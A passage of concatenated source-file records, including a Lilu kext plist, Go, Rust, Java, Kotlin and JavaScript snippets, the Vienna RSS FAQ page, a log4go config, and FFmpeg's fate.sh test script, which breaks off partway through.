version=\"1.0\">\n<dict>\n\t<key>BuildMachineOSBuild</key>\n\t<string>16G29</string>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleExecutable</key>\n\t<string>Lilu</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>as.vit9696.Lilu</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>Lilu</string>\n\t<key>CFBundlePackageType</key>\n\t<string>KEXT</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.1.7</string>\n\t<key>CFBundleSignature</key>\n\t<string>????</string>\n\t<key>CFBundleSupportedPlatforms</key>\n\t<array>\n\t\t<string>MacOSX</string>\n\t</array>\n\t<key>CFBundleVersion</key>\n\t<string>1.1.7</string>\n\t<key>DTCompiler</key>\n\t<string>com.apple.compilers.llvm.clang.1_0</string>\n\t<key>DTPlatformBuild</key>\n\t<string>8E3004b</string>\n\t<key>DTPlatformVersion</key>\n\t<string>GM</string>\n\t<key>DTSDKBuild</key>\n\t<string>16E185</string>\n\t<key>DTSDKName</key>\n\t<string>macosx10.12</string>\n\t<key>DTXcode</key>\n\t<string>0833</string>\n\t<key>DTXcodeBuild</key>\n\t<string>8E3004b</string>\n\t<key>IOKitPersonalities</key>\n\t<dict>\n\t\t<key>as.vit9696.Lilu</key>\n\t\t<dict>\n\t\t\t<key>CFBundleIdentifier</key>\n\t\t\t<string>as.vit9696.Lilu</string>\n\t\t\t<key>IOClass</key>\n\t\t\t<string>Lilu</string>\n\t\t\t<key>IOMatchCategory</key>\n\t\t\t<string>Lilu</string>\n\t\t\t<key>IOProviderClass</key>\n\t\t\t<string>IOResources</string>\n\t\t\t<key>IOResourceMatch</key>\n\t\t\t<string>IOKit</string>\n\t\t</dict>\n\t</dict>\n\t<key>NSHumanReadableCopyright</key>\n\t<string>Copyright © 2016-2017 vit9696. All rights reserved.</string>\n\t<key>OSBundleCompatibleVersion</key>\n\t<string>1.1.0</string>\n\t<key>OSBundleLibraries</key>\n\t<dict>\n\t\t<key>com.apple.kpi.bsd</key>\n\t\t<string>12.0.0</string>\n\t\t<key>com.apple.kpi.dsep</key>\n\t\t<string>12.0.0</string>\n\t\t<key>com.apple.kpi.iokit</key>\n\t\t<string>12.0.0</string>\n\t\t<key>com.apple.kpi.libkern</key>\n\t\t<string>12.0.0</string>\n\t\t<key>com.apple.kpi.mach</key>\n\t\t<string>12.0.0</string>\n\t\t<key>com.apple.kpi.unsupported</key>\n\t\t<string>12.0.0</string>\n\t</dict>\n\t<key>OSBundleRequired</key>\n\t<string>Root</string>\n</dict>\n</plist>\n"} {"text": "/*Package sql2struct ...\n@Time : 2020/1/7 11:04\n@Software: GoLand\n@File : xorm_tag\n@Author : Bingo <airplayx@gmail.com>\n*/\npackage sql2struct\n\nimport (\n\t\"github.com/xormplus/xorm/schemas\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/xormplus/core\"\n)\n\nvar created = []string{\"created_at\"}\nvar updated = []string{\"updated_at\"}\nvar deleted = []string{\"deleted_at\"}\n\n//GetXormTag ...\nfunc GetXormTag(table *schemas.Table, col *schemas.Column) string {\n\tisNameID := col.Name == table.AutoIncrement\n\tisIDPk := isNameID && sqlType2TypeString(col.SQLType) == \"int64\"\n\n\tvar res []string\n\tif !col.Nullable {\n\t\tif !isIDPk {\n\t\t\tres = append(res, \"not null\")\n\t\t}\n\t}\n\n\tif col.IsPrimaryKey {\n\t\tres = append(res, \"pk\")\n\t}\n\n\tif len(col.Default) >= 4 && strings.HasPrefix(col.Default, \"''\") && strings.HasSuffix(col.Default, \"''\") {\n\t\tcol.Default = col.Default[1 : len(col.Default)-1]\n\t}\n\tif col.Default != \"\" {\n\t\tres = append(res, \"default \"+col.Default)\n\t}\n\n\tif col.IsAutoIncrement {\n\t\tres = append(res, \"autoincr\")\n\t}\n\n\tif col.SQLType.IsTime() && inStringSlice(col.Name, created) {\n\t\tres = append(res, \"created\")\n\t}\n\n\tif col.SQLType.IsTime() && inStringSlice(col.Name, updated) {\n\t\tres = append(res, \"updated\")\n\t}\n\n\tif col.SQLType.IsTime() && inStringSlice(col.Name, deleted) {\n\t\tres = append(res, \"deleted\")\n\t}\n\n\tnames := make([]string, 0, len(col.Indexes))\n\tfor name := range col.Indexes {\n\t\tnames = append(names, name)\n\t}\n\tsort.Strings(names)\n\n\tfor _, name := range names {\n\t\tindex := table.Indexes[name]\n\t\tvar uistr string\n\t\tif index.Type == core.UniqueType {\n\t\t\tuistr = \"unique\"\n\t\t} else if index.Type == core.IndexType {\n\t\t\tuistr = \"index\"\n\t\t}\n\t\tif len(index.Cols) > 1 {\n\t\t\tuistr += \"(\" + index.Name + \")\"\n\t\t}\n\t\tres = append(res, uistr)\n\t}\n\n\tres = append(res, Engine.SQLType(col))\n\n\tif len(res) > 0 {\n\t\treturn \"xorm:\\\"\" + strings.Join(res, \" \") + \"\\\"\"\n\t}\n\n\treturn \"\"\n}\n"} {"text": "extern crate raylib;\nuse raylib::prelude::*;\nuse std::{thread, time};\nuse structopt::StructOpt;\n\nmod options;\n\nfn main() {\n let opt = options::Opt::from_args();\n test_shader_dropping(&opt);\n test_model_dropping(&opt);\n test_audio_dropping(&opt);\n test_font_dropping(&opt);\n}\n\n/// Checks that shader files are droppable after window is closed\nfn test_shader_dropping(opt: &options::Opt) {\n let _ten_millis = time::Duration::from_millis(10);\n let _v = {\n let (mut rl, thread) = opt.open_window(\"Drop Shader\");\n rl.load_shader(&thread, None, Some(\"static/shader/pbr.fs\"))\n .expect(\"shader didn't load\")\n };\n}\n\n/// Checks that model files are droppable after window is closed\nfn test_model_dropping(opt: &options::Opt) {\n let ten_millis = time::Duration::from_millis(10);\n let _m = {\n let (mut rl, thread) = opt.open_window(\"Drop Model\");\n rl.load_model(&thread, \"static/pbr/trooper.obj\")\n .expect(\"couldn't load model\");\n };\n thread::sleep(ten_millis);\n // Uncomment when we have actual meshes to unload\n // let mesh = {\n // let (_rl, thread) = opt.open_window(\"Drop Mesh\");\n // Mesh::load_meshes(&thread, \"static/pbr/trooper.obj\").expect(\"couldn't load mesh\");\n // };\n let _anim = {\n let (mut rl, thread) = opt.open_window(\"Drop Anim\");\n rl.load_model_animations(&thread, \"static/guy/guy.iqm\")\n .expect(\"couldn't load model\");\n };\n\n thread::sleep(ten_millis);\n}\n\n/// Checks that audio files are droppable after window is closed\nfn test_audio_dropping(opt: &options::Opt) {\n let ten_millis = time::Duration::from_millis(10);\n let _w = {\n let (_, _thread) = raylib::init()\n .size(opt.width, opt.height)\n .title(\"Drop\")\n .build();\n Wave::load_wave(\"static/wave.ogg\").expect(\"couldn't load wave\");\n };\n thread::sleep(ten_millis);\n let _s = {\n let (_rl, _thread) = opt.open_window(\"Drop Sound\");\n Sound::load_sound(\"static/wave.ogg\").expect(\"couldn't load wave\");\n };\n thread::sleep(ten_millis);\n // Broken on mac\n // let m = {\n // let (_rl, thread) = opt.open_window(\"Drop Sound\");\n // // let m = Music::load_music_stream(&thread, \"static/wave.ogg\");\n // let m = Music::load_music_stream(&thread, \"static/wave.ogg\").expect(\"couldn't load music\");\n // println!(\"music {:?}\", m);\n // drop(m);\n // ()\n // };\n // thread::sleep(ten_millis);\n}\n\n/// checks that fonts can be dropped after window is closed\nfn test_font_dropping(opt: &options::Opt) {\n let _f = {\n let (mut rl, thread) = raylib::init()\n .size(opt.width, opt.height)\n .title(\"Drop\")\n .build();\n rl.load_font(&thread, \"static/alagard.png\")\n .expect(\"couldn't load font\");\n };\n let ten_millis = time::Duration::from_millis(10);\n thread::sleep(ten_millis);\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\n\t<title>How Do I?</title>\n\t<link rel=\"stylesheet\" href=\"../shared/helpstyle.css\" type=\"text/css\"/>\n</head>\n<body>\n<span><img src=\"../shared/images/Small-Vienna-Logo.jpg\" alt=\"\"/>&nbsp;&nbsp;</span><span class=\"header\">How Do I?</span>\n<p>Below are some of the more common questions asked about Vienna while it was being pre-release tested.\nSee the <a href=\"http://www.vienna-rss.com/vienna_faq.html\">Official Vienna FAQ Page</a> for these\nand the latest hints and tips for using Vienna.\n</p>\n<ul>\n<li><a href=\"#Where_do_I_get_the_Vienna_source_code\">Where do I get \nthe Vienna source code?</a></li>\n<li><a href=\"#I_found_a_problem_with_Vienna._How_do_I_report_it\">I \nfound a problem with Vienna. How do I report it?</a></li>\n<li><a href=\"#How_do_I_create_my_own_styles\">How do I create my own \nstyles?</a></li>\n<li><a href=\"#How_do_I_create_my_own_scripts\">How do I create my own \nscripts?</a></li>\n\n<li>\n<a href=\"#How_can_I_see_what_happened_when_my_subscriptions_are_refreshed\">\nHow can I see what happened when my subscriptions are refreshed?</a></li>\n<li>\n<a href=\"#How_do_I_move_my_Vienna_database_to_another_folder\">How do \nI move my Vienna database to another folder?</a></li>\n<li>\n<a href=\"#One_of_my_subscriptions_reports_Error_parsing_XML_data_in_feed._What_does_this_mean\">\nOne of my subscriptions reports &quot;Error parsing XML data in feed&quot;. \nWhat does this mean?</a></li>\n\n<li>\n<a href=\"#Is_there_a_shortcut_key_for_going_to_the_next_article_marking_read_etc_\">\nIs there a shortcut key for going to the next article, marking read, \netc?</a></li>\n<li>\n<a href=\"#What_do_the_green_dots_mean_in_the_list_of_articles\">\nWhat do the green dots mean in the list of articles?</a></li>\n<li>\n<a href=\"#How_do_I_use_Auto_Expire_and_what_does_it_do\">How do I use \nAuto Expire and what does it do?</a></li>\n<li>\n<a href=\"#How_do_I_request_an_enhancement_in_Vienna\">How do I \nrequest an enhancement in Vienna?</a></li>\n\n</ul>\n<h2><a name=\"Where_do_I_get_the_Vienna_source_code\">Where do I get the \nVienna source code?</a></h2>\n<p>See the <a href=\"http://www.vienna-rss.com/vienna_dev.php\">Development page</a> for \ninstructions for getting the source code for Vienna. The source code is \nfreely available if you're interested in learning how Vienna works, if \nyou want to build your own copy of Vienna from scratch on your own \nmachine or if you want to borrow portions for inclusion in your own \nproject. The source is provided under the\n<a href=\"http://www.apache.org/licenses/LICENSE-2.0.html\">Apache 2.0 \nlicense</a>.</p>\n<h2><a name=\"I_found_a_problem_with_Vienna._How_do_I_report_it\">I found \na problem with Vienna. How do I report it?</a></h2>\n<p>Post a message over in the <a href=\"http://forums.cocoaforge.com/viewforum.php?f=18\">\nSupport forum</a> and somebody will \ninvestigate. Provide as much information about the problem as you can \nincluding: the build of Vienna (obtained from the About Vienna panel), \nrepro steps and what you expected to happen. There is a sticky note in\nthe forum with tips on how to write a good bug report.</p>\n\n<p>Make sure you're always running the most recent build of Vienna. The \nCheck for Updates command will report if there's a newer build available \nthan the one you have.</p>\n<p>Fixes for bugs take priority over new features so if your problem is \nconfirmed to be a bug with high impact and no simple workaround then \nI'll look at making a fix available as soon as reasonably possible.</p>\n<h2><a name=\"How_do_I_create_my_own_styles\">How do I create my own \nstyles?</a></h2>\n<p>See the <a href=\"http://www.vienna-rss.com/vienna_styles.php\">Custom Styles page</a> for \ninstructions.</p>\n<h2><a name=\"How_do_I_create_my_own_scripts\">How do I create my own \nscripts?</a></h2>\n\n<p>Vienna's scripts are written using AppleScript. See the\n<a href=\"http://www.apple.com/macosx/features/applescript/resources.html\">\nApple resource page</a> for more details.</p>\n<p>One way to get started is to download one of the existing scripts \nfrom the <a href=\"http://www.vienna-rss.com/vienna_files.php\">Vienna Downloads page</a> and view \nit in the AppleScript editor.</p>\n\n<p>To submit your own script, send it to\n<a href=\"mailto:steve@opencommunity.co.uk\">steve@opencommunity.co.uk</a> \nand after it has been reviewed, it will be made available on the \nDownloads page.</p>\n<h2>\n<a name=\"How_can_I_see_what_happened_when_my_subscriptions_are_refreshed\">\nHow can I see what happened when my subscriptions are refreshed?</a></h2>\n<p>Open the Activity Window from the Window menu. The activity window \nshows all subscriptions and the status of the last time they were \nrefreshed in that session. The bottom of the activity window shows more \ndetails include the HTTP headers and may be useful for debugging. (If \nthe details pane is not visible, grab the split bar at the bottom of the \nActivity Window and drag it up to uncover the pane).</p>\n<h2><a name=\"How_do_I_move_my_Vienna_database_to_another_folder\">How do \nI move my Vienna database to another folder?</a></h2>\n\n<p>By default, your Vienna database is the messages.db file which is \nlocated at ~/Library/Application Support/Vienna. You can move this to \nanother folder if you wish. The following steps show how:</p>\n<ol>\n<li>Shut down Vienna.</li>\n<li>Open a console window and enter:<br />\n<br />\n<font face=\"Courier New\">defaults write uk.co.opencommunity.vienna2 \n&quot;DefaultDatabase&quot; '&lt;path to new messages.db&gt;'</font><br />\n\n<br />\nwhere &lt;path to new messages.db&gt; is the name of the folder that \ncontains the messages.db file. The path itself should have the \nmessages.db filename at the end. For example:<br />\n<br />\n<font face=\"Courier New\">defaults write uk.co.opencommunity.vienna2 \n&quot;DefaultDatabase&quot; '/Users/steve/mydata/messages.db'</font><br />\n</li>\n\n<li>Restart Vienna.</li>\n</ol>\n<h2>\n<a name=\"One_of_my_subscriptions_reports_Error_parsing_XML_data_in_feed._What_does_this_mean\">\nOne of my subscriptions reports &quot;Error parsing XML data in feed&quot;. What \ndoes this mean?</a></h2>\n<p>It means that Vienna got a feed back from the subscription that it \ncouldn't interpret. There are several reasons for this:</p>\n\n<ol>\n<li>The URL of the feed may not be pointing to an RSS or Atom feed \nbut to a web page. Check the URL of the offending feed carefully.</li>\n<li>The feed itself may contain malformed XML. Some subscriptions \nmake a mistake in putting together the XML that makes up the feed \nand Vienna cannot interpret malformed XML. Use the Validate Feed \ncommand on the File menu to see if this is the case. Unfortunately \nyou cannot do much about this in Vienna except wait for the feed \nitself to be corrected by the site.</li>\n<li>The feed may be incomplete. If the refresh was interrupted then \nthe XML data will be incomplete and will appear malformed in Vienna. \nA second refresh may correct this problem.</li>\n</ol>\n<p>If none of the above explain the problem, post a message on the \nsupport forum with the URL of the feed exhibiting the problem. </p>\n<h2>\n\n<a name=\"Is_there_a_shortcut_key_for_going_to_the_next_article_marking_read_etc_\">\nIs there a shortcut key for going to the next article, marking read, \netc?</a></h2>\n<p>Probably. There are single key equivalents for some of the menu \ncommands such as:</p>\n<p>Spacebar - goes to the next unread article. If the current article is \nseveral pages long, it will scroll through that article first. If you're \nat the end of the current article it will then go to the next unread \narticle. By contrast the Next Unread command (Cmd+U) always goes \nstraight to the next unread article.</p>\n<p>R - marks the current article read if it is unread, or unread if it \nis read.</p>\n<p>F - flags the current article if it isn't already flagged, or removes \nthe existing flag if it is not.</p>\n\n<p>Look in the Vienna Help file for more shortcuts.</p>\n\n<h2><a name=\"What_do_the_green_dots_mean_in_the_list_of_articles\">What do\nthe green dots mean in the list of articles?</a></h2>\n<p>The blue dots are for new articles, and the green dots are for updated articles:\narticles whose text has changed since they were last downloaded.</p>\n\n<h2><a name=\"How_do_I_use_Auto_Expire_and_what_does_it_do\">How do I use \nAuto Expire and what does it do?</a></h2>\n<p>Auto-expire moves articles older than a certain number of days to the \nTrash folder. It allows you to keep your folders manageable by only \nretaining articles that are recent. The auto-expire runs both when \nVienna starts and after you have refreshed any subscriptions. To control \nthe age of articles to auto-expire, change the\n&quot;Move articles to Trash&quot; option in Preferences.</p>\n<p>Auto-expire will NOT remove unread or flagged articles. It assumes \nthat you haven't read these articles and thus leaves them alone.</p>\n<h2><a name=\"How_do_I_request_an_enhancement_in_Vienna\">How do I request \nan enhancement in Vienna?</a></h2>\n\n<p>Post a message over at the\n<a href=\"http://forums.cocoaforge.com/viewforum.php?f=18\">support forum</a>. All \nrequested enhancements are logged in the TODO file that is included with \nthe source code as a guidance for future developers.</p>\n</body>\n</html>\n"} {"text": "package info.nightscout.androidaps.events\n\nclass EventReloadTempBasalData : Event()\n"} {"text": "/* Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.activiti.engine.impl.cmd;\n\nimport java.io.Serializable;\n\nimport org.activiti.engine.ActivitiIllegalArgumentException;\nimport org.activiti.engine.impl.interceptor.Command;\nimport org.activiti.engine.impl.interceptor.CommandContext;\n\n/**\n * @author Joram Barrez\n */\npublic class DeleteProcessInstanceCmd implements Command<Void>, Serializable {\n\n private static final long serialVersionUID = 1L;\n protected String processInstanceId;\n protected String deleteReason;\n\n public DeleteProcessInstanceCmd(String processInstanceId, String deleteReason) {\n this.processInstanceId = processInstanceId;\n this.deleteReason = deleteReason;\n }\n\n @Override\n public Void execute(CommandContext commandContext) {\n if (processInstanceId == null) {\n throw new ActivitiIllegalArgumentException(\"processInstanceId is null\");\n }\n\n commandContext\n .getExecutionEntityManager()\n .deleteProcessInstance(processInstanceId, deleteReason);\n return null;\n }\n\n}\n"} {"text": "jQuery.ajaxPrefilter(function( options, originalOptions, jqXHR ) {\n\tif ( options.retry ) {\n\t\tvar url = options.url,\n\t\t\toldPromise = jqXHR.promise();\n\t\tif ( options._retried ) {\n\t\t\toptions.success = options.error = options.complete = undefined;\n\t\t} else {\n\t\t\toriginalOptions = jQuery.extend( {}, originalOptions, { _retried: true } );\n\t\t}\n\t\tjqXHR.pipe( null, function() {\n\t\t\tif ( options.retry.call( options.context || options, originalOptions, jqXHR ) ) {\n\t\t\t\treturn jQuery.ajax( originalOptions.url || url, originalOptions );\n\t\t\t}\n\t\t\treturn oldPromise;\n\t\t}).promise( jqXHR );\n\t\tif ( jqXHR.success ) {\n\t\t\tjqXHR.success = jqXHR.done;\n\t\t\tjqXHR.error = jqXHR.fail;\n\t\t\tjqXHR.complete = (function( callbacks ) {\n\t\t\t\tjqXHR.always(function( error, statusText, success ) {\n\t\t\t\t\tcallbacks.fireWith( this, [ jqXHR.state() === \"resolved\" ? success : error ] );\n\t\t\t\t});\n\t\t\t\treturn callbacks.add;\n\t\t\t})( jQuery.Callbacks( \"once memory\" ) );\n\t\t}\n\t}\n});\n"} {"text": "/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule StyleSheetValidation\n * @flow\n */\n'use strict';\n\nvar ImageStylePropTypes = require('ImageStylePropTypes');\nvar TextStylePropTypes = require('TextStylePropTypes');\nvar ViewStylePropTypes = require('ViewStylePropTypes');\n\nvar invariant = require('fbjs/lib/invariant');\n\n// Hardcoded because this is a legit case but we don't want to load it from\n// a private API. We might likely want to unify style sheet creation with how it\n// is done in the DOM so this might move into React. I know what I'm doing so\n// plz don't fire me.\nconst ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED';\n\nclass StyleSheetValidation {\n static validateStyleProp(prop: string, style: Object, caller: string) {\n if (!__DEV__) {\n return;\n }\n if (allStylePropTypes[prop] === undefined) {\n var message1 = '\"' + prop + '\" is not a valid style property.';\n var message2 = '\\nValid style props: ' +\n JSON.stringify(Object.keys(allStylePropTypes).sort(), null, ' ');\n styleError(message1, style, caller, message2);\n }\n var error = allStylePropTypes[prop](\n style,\n prop,\n caller,\n 'prop',\n null,\n ReactPropTypesSecret,\n );\n if (error) {\n styleError(error.message, style, caller);\n }\n }\n\n static validateStyle(name: string, styles: Object) {\n if (!__DEV__) {\n return;\n }\n for (var prop in styles[name]) {\n StyleSheetValidation.validateStyleProp(prop, styles[name], 'StyleSheet ' + name);\n }\n }\n\n static addValidStylePropTypes(stylePropTypes) {\n for (var key in stylePropTypes) {\n allStylePropTypes[key] = stylePropTypes[key];\n }\n }\n}\n\nvar styleError = function(message1, style, caller?, message2?) {\n invariant(\n false,\n message1 + '\\n' + (caller || '<<unknown>>') + ': ' +\n JSON.stringify(style, null, ' ') + (message2 || '')\n );\n};\n\nvar allStylePropTypes = {};\n\nStyleSheetValidation.addValidStylePropTypes(ImageStylePropTypes);\nStyleSheetValidation.addValidStylePropTypes(TextStylePropTypes);\nStyleSheetValidation.addValidStylePropTypes(ViewStylePropTypes);\n\nmodule.exports = StyleSheetValidation;\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard.\n//\n\n#import <objc/NSObject.h>\n\n#import \"QLPreviewViewDelegate-Protocol.h\"\n\n@class NSMutableArray, NSMutableDictionary, NSString, SPWebPreviewCacheItem;\n@protocol OS_dispatch_queue;\n\n@interface SPWebPreviewCache : NSObject <QLPreviewViewDelegate>\n{\n int _generation;\n int _lastRow;\n id _delegate;\n NSMutableDictionary *_cachedPreviewItems;\n NSMutableArray *_reuseableCacheItems;\n NSMutableArray *_livePreviewCacheItems;\n SPWebPreviewCacheItem *_currentLoadItem;\n NSObject<OS_dispatch_queue> *_preheatQueue;\n NSObject<OS_dispatch_queue> *_submissionQueue;\n}\n\n@property int lastRow; // @synthesize lastRow=_lastRow;\n@property(retain) NSObject<OS_dispatch_queue> *submissionQueue; // @synthesize submissionQueue=_submissionQueue;\n@property(retain) NSObject<OS_dispatch_queue> *preheatQueue; // @synthesize preheatQueue=_preheatQueue;\n@property(retain) SPWebPreviewCacheItem *currentLoadItem; // @synthesize currentLoadItem=_currentLoadItem;\n@property(retain) NSMutableArray *livePreviewCacheItems; // @synthesize livePreviewCacheItems=_livePreviewCacheItems;\n@property(retain) NSMutableArray *reuseableCacheItems; // @synthesize reuseableCacheItems=_reuseableCacheItems;\n@property(retain) NSMutableDictionary *cachedPreviewItems; // @synthesize cachedPreviewItems=_cachedPreviewItems;\n@property __weak id delegate; // @synthesize delegate=_delegate;\n- (void).cxx_destruct;\n- (BOOL)forceLoadItem:(id)arg1;\n- (id)previewForItem:(id)arg1;\n- (void)previewView:(id)arg1 didLoadPreviewItem:(id)arg2;\n- (void)preheat:(id)arg1 row:(int)arg2 generation:(int)arg3;\n- (void)submit:(id)arg1;\n- (id)cachelookup:(id)arg1;\n- (void)addPreviewItem:(id)arg1;\n- (void)cacheinsert:(id)arg1;\n- (id)getPreviewView;\n- (void)clearCache:(int)arg1 forcePreserve:(id)arg2;\n- (id)init;\n\n// Remaining properties\n@property(readonly, copy) NSString *debugDescription;\n@property(readonly, copy) NSString *description;\n@property(readonly) unsigned long long hash;\n@property(readonly) Class superclass;\n\n@end\n\n"} {"text": "#!/usr/bin/env node\n\nvar argv = require('optimist')\n .usage('Usage: $0 -x [num] -y [num]')\n .demand(['x','y'])\n .argv;\n\nconsole.log(argv.x / argv.y);\n"} {"text": "<logging>\n <filter enabled=\"true\">\n <tag>stdout</tag>\n <type>console</type>\n <!-- level is (:?FINEST|FINE|DEBUG|TRACE|INFO|WARNING|ERROR) -->\n <level>DEBUG</level>\n </filter>\n <filter enabled=\"false\">\n <tag>debug_file</tag>\n <type>file</type>\n <level>DEBUG</level>\n <property name=\"filename\">/tmp/pushs_job_debug.log</property>\n <property name=\"format\">[%D %T] [%L] [%S] %M</property>\n <property name=\"rotate\">true</property> <!-- true enables log rotation, otherwise append -->\n <property name=\"maxsize\">0M</property> <!-- \\d+[KMG]? Suffixes are in terms of 2**10 -->\n <property name=\"maxlines\">0K</property> <!-- \\d+[KMG]? Suffixes are in terms of thousands -->\n <property name=\"daily\">true</property> <!-- Automatically rotates when a log message is written after midnight -->\n </filter>\n <filter enabled=\"false\">\n <tag>info_file</tag>\n <type>file</type>\n <level>INFO</level>\n <property name=\"filename\">/tmp/pushs_job_info.log</property>\n <!--\n %T - Time (15:04:05 MST)\n %t - Time (15:04)\n %D - Date (2006/01/02)\n %d - Date (01/02/06)\n %L - Level (FNST, FINE, DEBG, TRAC, WARN, EROR, CRIT)\n %S - Source\n %M - Message\n It ignores unknown format strings (and removes them)\n Recommended: \"[%D %T] [%L] (%S) %M\"\n -->\n <property name=\"format\">[%D %T] [%L] [%S] %M</property>\n <property name=\"rotate\">true</property> <!-- true enables log rotation, otherwise append -->\n <property name=\"maxsize\">0M</property> <!-- \\d+[KMG]? Suffixes are in terms of 2**10 -->\n <property name=\"maxlines\">0K</property> <!-- \\d+[KMG]? Suffixes are in terms of thousands -->\n <property name=\"daily\">true</property> <!-- Automatically rotates when a log message is written after midnight -->\n </filter>\n <filter enabled=\"false\">\n <tag>warn_file</tag>\n <type>file</type>\n <level>WARNING</level>\n <property name=\"filename\">/tmp/pushs_job_warn.log</property>\n <property name=\"format\">[%D %T] [%L] [%S] %M</property>\n <property name=\"rotate\">true</property> <!-- true enables log rotation, otherwise append -->\n <property name=\"maxsize\">0M</property> <!-- \\d+[KMG]? Suffixes are in terms of 2**10 -->\n <property name=\"maxlines\">0K</property> <!-- \\d+[KMG]? Suffixes are in terms of thousands -->\n <property name=\"daily\">true</property> <!-- Automatically rotates when a log message is written after midnight -->\n </filter>\n <filter enabled=\"false\">\n <tag>error_file</tag>\n <type>file</type>\n <level>ERROR</level>\n <property name=\"filename\">/tmp/pushs_job_error.log</property>\n <property name=\"format\">[%D %T] [%L] [%S] %M</property>\n <property name=\"rotate\">true</property> <!-- true enables log rotation, otherwise append -->\n <property name=\"maxsize\">0M</property> <!-- \\d+[KMG]? Suffixes are in terms of 2**10 -->\n <property name=\"maxlines\">0K</property> <!-- \\d+[KMG]? Suffixes are in terms of thousands -->\n <property name=\"daily\">true</property> <!-- Automatically rotates when a log message is written after midnight -->\n </filter>\n</logging>\n"} {"text": "{\n val pluginVersion = System.getProperty(\"plugin.version\")\n if(pluginVersion == null)\n throw new RuntimeException(\"\"\"|The system property 'plugin.version' is not defined.\n |Specify this property using the scriptedLaunchOpts -D.\"\"\".stripMargin)\n else addSbtPlugin(\"com.github.gseitz\" % \"sbt-protobuf\" % pluginVersion)\n}\n"} {"text": "use runtime_native::Native;\n\n#[runtime::test(Native)]\nasync fn spawn() {\n let handle = runtime::spawn(async {\n println!(\"hello planet from Native\");\n 42\n });\n assert_eq!(handle.await, 42);\n}\n"} {"text": "#! /bin/sh\n\nconfig=$1\n\ndie(){\n echo \"$@\"\n exit 1\n}\n\ntest -r \"$config\" || die \"usage: fate.sh <config>\"\n\nworkdir=$(cd $(dirname $config) && pwd)\nmake=make\ntar='tar c'\n\n. \"$config\"\n\ntest -n \"$slot\" || die \"slot not specified\"\ntest -n \"$repo\" || die \"repo not specified\"\ntest -d \"$samples\" || die \"samples location not specified\"\n\n: ${branch:=master}\n\nlock(){\n lock=$1/fate.lock\n (set -C; exec >$lock) 2>/dev/null || return\n trap 'rm $lock' EXIT\n}\n\ncheckout(){\n case \"$repo\" in\n file:*|/*) src=\"${repo#file:}\" ;;\n git:*) git clone --quiet --branch \"$branch\" \"$repo\" \"$src\" ;;\n esac\n}\n\nupdate()(\n cd ${src} || return\n case \"$repo\" in\n git:*) git fetch --quiet --force && git reset --quiet --hard \"origin/$branch\" ;;\n esac\n)\n\nconfigure()(\n cd ${build} || return\n ${shell} ${src}/configure \\\n --prefix=\"${inst}\" \\\n --samples=\"${samples}\" \\\n --enable-gpl \\\n --enable-memory-poisoning \\\n --enable-avresample \\\n ${ignore_tests:+--ignore-tests=\"$ignore_tests\"} \\\n ${arch:+--arch=$arch} \\\n ${cpu:+--cpu=\"$cpu\"} \\\n ${toolchain:+--toolchain=\"$toolchain\"} \\\n ${cross_prefix:+--cross-prefix=\"$cross_prefix\"} \\\n ${as:+--as=\"$as\"} \\\n ${cc:+--cc=\"$cc\"} \\\n ${ld:+--ld=\"$ld\"} \\\n ${target_os:+--target-os=\"$target_os\"} \\\n ${sysroot:+--sysroot=\"$sysroot\"} \\\n ${target_exec:+--target-exec=\"$target_exec\"} \\\n ${target_path:+--target-path=\"$target_path\"} \\\n ${target_samples:+--target-samples=\"$target_samples\"} \\\n ${extra_cflags:+--extra-cflags=\"$extra_cflags\"} \\\n ${extra_ldflags:+--extra-ldflags=\"$extra_ldflags\"} \\\n ${extra_libs:+--extra-libs=\"$extra_libs\"} \\\n ${extra_conf}\n)\n\ncompile()(\n cd ${build} || return\n ${make} ${makeopts} && ${make} install\n)\n\nfate()(\n test \"$build_only\" = \"yes\" && return\n cd ${build} || return\n ${make} ${makeopts_fate-${makeopts}} -k fate\n)\n\nclean(){\n rm -rf ${build} ${inst}\n}\n\nreport(){\n date=$(date -u +%Y%m%d%H%M%S)\n echo \"fate:1:${date}:${slot}:${version}:$1:$2:${branch}:${comment}\" >report\n cat ${build}/ffbuild/config.fate >>report\n cat ${build}/tests/data/fate/*.rep >>report 2>/dev/null || for i in ${build}/tests/data/fate/*.rep ; do cat \"$i\" >>report 2>/dev/null; done\n test -n \"$fate_recv\" && $tar report *.log | gzip | $fate_recv\n}\n\nfail(){\n report \"$@\"\n clean\n exit\n}\n\nmkdir -p ${workdir} || die \"Error creating ${workdir}\"\nlock ${workdir} || die \"${workdir} locked\"\ncd ${workdir} || die \"cd ${workdir} failed\"\n\nsrc=${workdir}/src\n: ${build:=${workdir}/build}\n: ${inst:=${workdir}/install}\n\ntest -d \"$src\" && update || checkout || die \"Error fetching source\"\n\ncd ${workdir}\n\nversion=$(${src}/ffbuild/version.sh ${src})\ntest \"$version\" = \"$(cat version-$slot 2>/dev/null)\" && exit 0\necho ${version} >version-$slot\n\nrm -rf 